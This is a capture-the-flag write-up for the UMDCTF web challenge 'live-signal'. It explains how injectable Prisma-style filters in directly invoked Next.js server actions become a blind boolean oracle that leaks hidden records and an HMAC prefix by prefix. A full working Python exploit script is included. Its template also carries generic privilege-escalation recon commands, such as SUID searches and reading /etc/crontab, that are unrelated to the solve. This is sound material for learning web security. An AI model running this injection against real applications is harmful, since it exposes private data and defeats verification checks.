← Back to Writeups
HTBN/AWeb

live-signal

XESXOR8/23/20264 min read
#web#htb#n/a

live-signal

Platform: Umdctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: boolean_oracle_extraction, direct_server_action_invocation, prefix_bruteforce, prisma_filter_injection

Summary

Task: a Next.js app exposed server actions that accepted Prisma-style filters, letting attacker-controlled nested relation queries inspect hidden analyst signals. Solution: turn the injected filter into a boolean oracle, recover the unpublished signal fields and HMAC prefix-by-prefix, then submit them to the verification action for the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umdctf | ID: 20260425_umdctf_live_signal
  • Tags: hmac, nextjs, filter_injection, server_actions, prisma, blind_oracle
  • Indicators: a Next.js endpoint exposes callable server action identifiers, user-controlled filters are passed into Prisma-style where clauses, nested relation operators like signals.some are accepted, string operators such as startsWith work on hidden fields
  • Source: 20260425_umdctf_live_signal.md

Foothold

Vulnerability / Misconfiguration

  1. Boolean_oracle_extraction
  2. Direct_server_action_invocation
  3. Prefix_bruteforce
  4. Prisma_filter_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • boolean_oracle_extraction
  • direct_server_action_invocation
  • prefix_bruteforce
  • prisma_filter_injection
  • Tags: hmac, nextjs, filter_injection, server_actions, prisma, blind_oracle

Original Writeup

<details><summary>Click to expand original content</summary>

live-signal — UMDCTF

Description

Original organizer description was not available in the saved notes.

English summary: the application exposed two Next.js server actions. One leaked public signals and their HMACs, and the other checked whether we found a hidden insider signal. The bug was that the analyst handle filter was Prisma-style injectable, so nested relation predicates could be turned into a blind boolean oracle over unpublished data.

Analysis

Two action identifiers were reachable directly:

  • signalsByAnalyst: 60a1ddfeb092ed787fb44362a27b61cff6e945d3d2
  • verifyInsider: 783c22fa5f432da054e7f973cb1a827a956078d769

Calling signalsByAnalyst returned public signals and their HMACs, which already showed how the application modeled analyst signal data. The more important issue was the handle filter: instead of being treated as a plain string, it behaved like a Prisma where object.

That meant queries such as nested signals.some.{ ... } were accepted. If a predicate matched at least one analyst row, the action response changed, giving a clean boolean oracle.

Using this oracle against analyst quant_sable, it was possible to confirm that a hidden future signal existed with:

  • publishedAt > 2026-04-25T00:00:00.000Z

Then the unpublished fields were extracted with repeated true/false probes:

  • ticker = KXELECTION-28NOV
  • side = NO
  • contractPrice = 41

Finally, the same nested filter technique was used on the hidden signalHmac field with a prefix search:

signalHmac: { startsWith: prefix }

Recovering it nibble-by-nibble gave:

fc434bd5283de7356831a82e8838632c

At that point, verifyInsider could be called with the reconstructed tuple and returned the flag.

Solution

  1. Identify the exposed server actions.
  2. Invoke signalsByAnalyst directly instead of using the intended UI flow.
  3. Confirm that the handle parameter accepts Prisma-style objects rather than a plain string.
  4. Use nested signals.some predicates as a boolean oracle on analyst quant_sable.
  5. Recover the unpublished signal fields one by one:
  • future publishedAt
  • ticker
  • side
  • contractPrice
  1. Recover the hidden HMAC with repeated startsWith probes.
  2. Submit the recovered values to verifyInsider:
["KXELECTION-28NOV","NO",41,"fc434bd5283de7356831a82e8838632c"]
  1. Read the flag from the response.
#!/usr/bin/env python3
import json
import string
import requests

BASE_URL = "https://TARGET"
SIGNALS_BY_ANALYST = "60a1ddfeb092ed787fb44362a27b61cff6e945d3d2"
VERIFY_INSIDER = "783c22fa5f432da054e7f973cb1a827a956078d769"
HEX = "0123456789abcdef"

session = requests.Session()


def post_action(action_id, args):
    # Adjust the path/headers to match the deployed Next.js instance.
    return session.post(
        f"{BASE_URL}",
        headers={
            "Next-Action": action_id,
            "Content-Type": "text/plain;charset=UTF-8",
        },
        data=json.dumps(args),
        timeout=10,
    )


def oracle(signal_filter):
    payload = [
        {
            "handle": {
                "equals": "quant_sable",
                "analyst": {
                    "signals": {
                        "some": signal_filter,
                    }
                },
            }
        }
    ]
    r = post_action(SIGNALS_BY_ANALYST, payload)
    text = r.text
    return "quant_sable" in text or '"count":1' in text or '"signals":[' in text


def recover_hmac():
    prefix = ""
    while len(prefix) < 32:
        for ch in HEX:
            probe = {
                "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
                "ticker": "KXELECTION-28NOV",
                "side": "NO",
                "contractPrice": 41,
                "signalHmac": {"startsWith": prefix + ch},
            }
            if oracle(probe):
                prefix += ch
                print(prefix)
                break
        else:
            raise RuntimeError("no matching nibble")
    return prefix


if __name__ == "__main__":
    assert oracle({"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}})
    assert oracle({
        "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
        "ticker": "KXELECTION-28NOV",
    })
    assert oracle({
        "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
        "ticker": "KXELECTION-28NOV",
        "side": "NO",
    })
    assert oracle({
        "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"},
        "ticker": "KXELECTION-28NOV",
        "side": "NO",
        "contractPrice": 41,
    })

    hmac_value = recover_hmac()
    body = ["KXELECTION-28NOV", "NO", 41, hmac_value]
    resp = post_action(VERIFY_INSIDER, body)
    print(resp.text)
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR